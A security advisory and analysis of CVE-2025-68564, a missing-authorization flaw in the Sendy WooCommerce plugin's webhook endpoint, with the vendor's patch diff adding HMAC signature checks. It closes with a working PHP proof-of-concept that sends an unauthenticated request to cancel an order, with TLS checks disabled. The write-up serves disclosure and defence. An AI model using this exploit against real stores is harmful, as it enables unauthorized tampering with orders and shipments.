Atomic Edge analysis of CVE-2025-68564:
The Sendy WordPress plugin version 3.4.1 and earlier contains a missing authorization vulnerability in its webhook callback function. This flaw allows unauthenticated attackers to trigger unauthorized actions by sending crafted requests to the plugin’s webhook endpoint.
Atomic Edge research identified the root cause in the `webhook_callback` method within the `Webhooks` class (file: sendy/lib/Modules/Webhooks.php). The vulnerable function at line 53 lacked any capability check or authentication mechanism before processing incoming webhook requests. The method directly accepted `WP_REST_Request` objects without verifying the requester’s permissions or validating request signatures. This omission created an unauthenticated entry point that bypassed WordPress’s standard authorization controls.
The exploitation method involves sending HTTP POST requests directly to the Sendy plugin’s registered REST API webhook endpoint. Attackers can craft requests to the `/wp-json/sendy/v1/webhook` endpoint with malicious JSON payloads containing the ‘data’ parameter. The vulnerability requires no authentication tokens, API keys, or nonce values, making it accessible to completely unauthenticated users. The attack vector uses standard WordPress REST API infrastructure to reach the vulnerable callback function.
The patch introduces multiple security layers. Version 3.4.2 adds a new `verifySignature` method (lines 133-168) that validates HMAC signatures using the `X-Signature` and `X-Timestamp` headers. The patch also implements a `regenerateWebhookSecret` method (lines 116-125) that generates unique webhook secrets during authentication. Before the patch, the `webhook_callback` method processed all incoming requests without verification. After the patch, requests must include valid cryptographic signatures derived from a server-side secret that attackers cannot obtain.
Successful exploitation allows unauthenticated attackers to trigger arbitrary webhook processing within the Sendy plugin. This could lead to unauthorized order status modifications, shipment tracking updates, or other business logic manipulation depending on the plugin’s webhook implementation. While the exact impact depends on the webhook handler’s functionality, the vulnerability fundamentally breaks the authentication boundary for all webhook operations.
--- a/sendy/lib/Modules/OAuth.php
+++ b/sendy/lib/Modules/OAuth.php
@@ -2,7 +2,7 @@
namespace SendyWooCommerceModules;
-use GuzzleHttpExceptionGuzzleException;
+use SendyApiExceptionsSendyException;
use SendyWooCommerceApiClientFactory;
class OAuth
@@ -52,6 +52,8 @@
update_option('sendy_refresh_token', null, false);
update_option('sendy_token_expires', null, false);
+
+ delete_option('sendy_webhook_secret');
}
}
@@ -76,10 +78,12 @@
try {
ApiClientFactory::buildConnectionUsingCode(sanitize_key($_GET['code']))->checkOrAcquireAccessToken();
+ Webhooks::regenerateWebhookSecret();
+
sendy_flash_admin_notice('success', __('Authentication successful', 'sendy'));
wp_safe_redirect(admin_url('admin.php?page=sendy'));
- } catch (GuzzleException $e) {
+ } catch (SendyException $e) {
sendy_flash_admin_notice('warning', __('Authentication failed. Please try again', 'sendy'));
wp_safe_redirect(admin_url('admin.php?page=sendy'));
--- a/sendy/lib/Modules/Orders/BulkActions.php
+++ b/sendy/lib/Modules/Orders/BulkActions.php
@@ -2,6 +2,7 @@
namespace SendyWooCommerceModulesOrders;
+use SendyApiExceptionsSendyException;
use SendyWooCommerceEnumsProcessingMethod;
use SendyWooCommercePlugin;
use SendyWooCommerceRepositoriesPreferences;
@@ -147,8 +148,14 @@
public function modal_create_shipments(): void
{
if ($this->on_orders_list_page()) {
- $preferences = (new Preferences())->get();
- $shops = (new Shops())->list();
+ try {
+ $preferences = (new Preferences())->get();
+ $shops = (new Shops())->list();
+ } catch (SendyException $exception) {
+ echo View::fromTemplate('admin/notices/connection-error.php')->render(['code' => $exception->getCode()]);
+
+ return;
+ }
echo wp_kses(
View::fromTemplate('admin/modals/create-shipment.php')->render([
--- a/sendy/lib/Modules/Orders/OrdersModule.php
+++ b/sendy/lib/Modules/Orders/OrdersModule.php
@@ -136,8 +136,6 @@
/**
* Fetch the labels from the Sendy API and offer them as download to the user
- *
- * @throws GuzzleHttpExceptionGuzzleException
*/
protected function offer_labels_as_download(array $shipment_ids): void
{
--- a/sendy/lib/Modules/Orders/Single.php
+++ b/sendy/lib/Modules/Orders/Single.php
@@ -3,6 +3,7 @@
namespace SendyWooCommerceModulesOrders;
use AutomatticWooCommerceInternalDataStoresOrdersCustomOrdersTableController;
+use SendyApiExceptionsSendyException;
use SendyWooCommerceEnumsProcessingMethod;
use SendyWooCommercePlugin;
use SendyWooCommerceRepositoriesPreferences;
@@ -65,8 +66,14 @@
return;
}
- $preferences = (new Preferences())->get();
- $shops = (new Shops())->list();
+ try {
+ $preferences = (new Preferences())->get();
+ $shops = (new Shops())->list();
+ } catch (SendyException $exception) {
+ echo View::fromTemplate('admin/notices/connection-error.php')->render(['code' => $exception->getCode()]);
+
+ return;
+ }
echo wp_kses(
View::fromTemplate('admin/meta_box/single.php')->render([
--- a/sendy/lib/Modules/Webhooks.php
+++ b/sendy/lib/Modules/Webhooks.php
@@ -3,6 +3,7 @@
namespace SendyWooCommerceModules;
use SendyApiApiException;
+use SendyApiExceptionsSendyException;
use SendyWooCommerceApiClientFactory;
use SendyWooCommerceEnumsProcessingMethod;
use WC_Order;
@@ -53,6 +54,12 @@
public function webhook_callback(WP_REST_Request $request)
{
+ $verificationError = $this->verifySignature($request);
+
+ if ($verificationError) {
+ return $verificationError;
+ }
+
$payload = $request->get_json_params() ?? [];
if (! array_key_exists('data', $payload)) {
@@ -107,6 +114,18 @@
}
}
+ /**
+ * @throws SendyException
+ */
+ public static function regenerateWebhookSecret(): void
+ {
+ $clientId = get_option('sendy_client_id');
+ $response = ApiClientFactory::buildConnectionUsingTokens()
+ ->post("/regenerate-webhook-secret/{$clientId}");
+
+ update_option('sendy_webhook_secret', $response['webhook_secret'], false);
+ }
+
public function deactivate(): void
{
$this->deleteWebhook();
@@ -114,6 +133,36 @@
delete_option('sendy_webhook_last_checked');
}
+ private function verifySignature(WP_REST_Request $request): ?WP_REST_Response
+ {
+ $signature = $request->get_header('X-Signature');
+ $timestamp = $request->get_header('X-Timestamp');
+
+ if (! $signature || ! $timestamp) {
+ return new WP_REST_Response(['error' => 'Missing signature headers'], 401);
+ }
+
+ $secret = get_option('sendy_webhook_secret');
+
+ if (! $secret) {
+ try {
+ self::regenerateWebhookSecret();
+ } catch (Exception $e) {
+ return new WP_REST_Response(['error' => 'Failed to regenerate webhook secret'], 500);
+ }
+
+ return new WP_REST_Response(['error' => 'Webhook secret not configured'], 401);
+ }
+
+ $expected = hash_hmac('sha256', $timestamp . $request->get_body(), $secret);
+
+ if (! hash_equals($expected, $signature)) {
+ return new WP_REST_Response(['error' => 'Invalid signature'], 401);
+ }
+
+ return null;
+ }
+
/**
* Delete the webhook in the API
*/
--- a/sendy/lib/Plugin.php
+++ b/sendy/lib/Plugin.php
@@ -18,7 +18,7 @@
class Plugin
{
- public const VERSION = '3.4.1';
+ public const VERSION = '3.4.2';
public const SETTINGS_ID = 'sendy';
--- a/sendy/resources/views/admin/notices/connection-error.php
+++ b/sendy/resources/views/admin/notices/connection-error.php
@@ -0,0 +1,24 @@
+<?php
+
+if (! defined('ABSPATH')) {
+ exit;
+}
+
+/**
+ * @var int $code
+ */
+
+?>
+<div class="notice notice-error">
+ <p>
+ <?php if ($code === 400 || $code === 401) : ?>
+ <?php esc_html_e('Could not connect to Sendy. Please try signing in again.', 'sendy'); ?>
+ <a href="<?php echo esc_url(admin_url('admin.php?page=sendy')); ?>"><?php esc_html_e('Go to settings', 'sendy'); ?></a>
+ <?php elseif ($code) : ?>
+ <?php /* translators: %d is the HTTP error code returned by the Sendy API */ ?>
+ <?php echo esc_html(sprintf(__('Could not connect to Sendy (error %d). Please try again later.', 'sendy'), $code)); ?>
+ <?php else : ?>
+ <?php esc_html_e('Could not connect to Sendy. Please try again later.', 'sendy'); ?>
+ <?php endif; ?>
+ </p>
+</div>
--- a/sendy/sendy.php
+++ b/sendy/sendy.php
@@ -4,7 +4,7 @@
* Plugin Name: Sendy
* Plugin URI: https://app.sendy.nl/
* Description: A WooCommerce plugin that connects your site to the Sendy platform
- * Version: 3.4.1
+ * Version: 3.4.2
* Author: Sendy
* Author URI: https://sendy.nl/
* License: MIT
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68564 - Sendy <= 3.4.1 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-68564
* Unauthenticated Webhook Endpoint Access in Sendy WordPress Plugin <= 3.4.1
*
* This script demonstrates the missing authorization vulnerability by sending
* a crafted request to the vulnerable webhook endpoint without authentication.
*/
$target_url = 'https://vulnerable-site.com/wp-json/sendy/v1/webhook';
// Craft a malicious webhook payload
$payload = [
'data' => [
'type' => 'order_status_update',
'attributes' => [
'order_id' => '12345',
'new_status' => 'cancelled',
'timestamp' => time()
]
]
];
// Initialize cURL session
$ch = curl_init($target_url);
// Set cURL options for POST request
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode($payload),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'User-Agent: Atomic-Edge-PoC/1.0'
],
CURLOPT_SSL_VERIFYPEER => false, // For testing only
CURLOPT_SSL_VERIFYHOST => false // For testing only
]);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Display results
if ($response === false) {
echo "cURL Error: " . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// Check for successful exploitation indicators
if ($http_code == 200) {
echo "n[SUCCESS] Vulnerable endpoint accepted unauthenticated requestn";
echo "The Sendy plugin processed the webhook without authorization.n";
} elseif ($http_code == 401) {
echo "n[PATCHED] Endpoint requires authentication (patched version)n";
}
}
// Clean up
curl_close($ch);
?>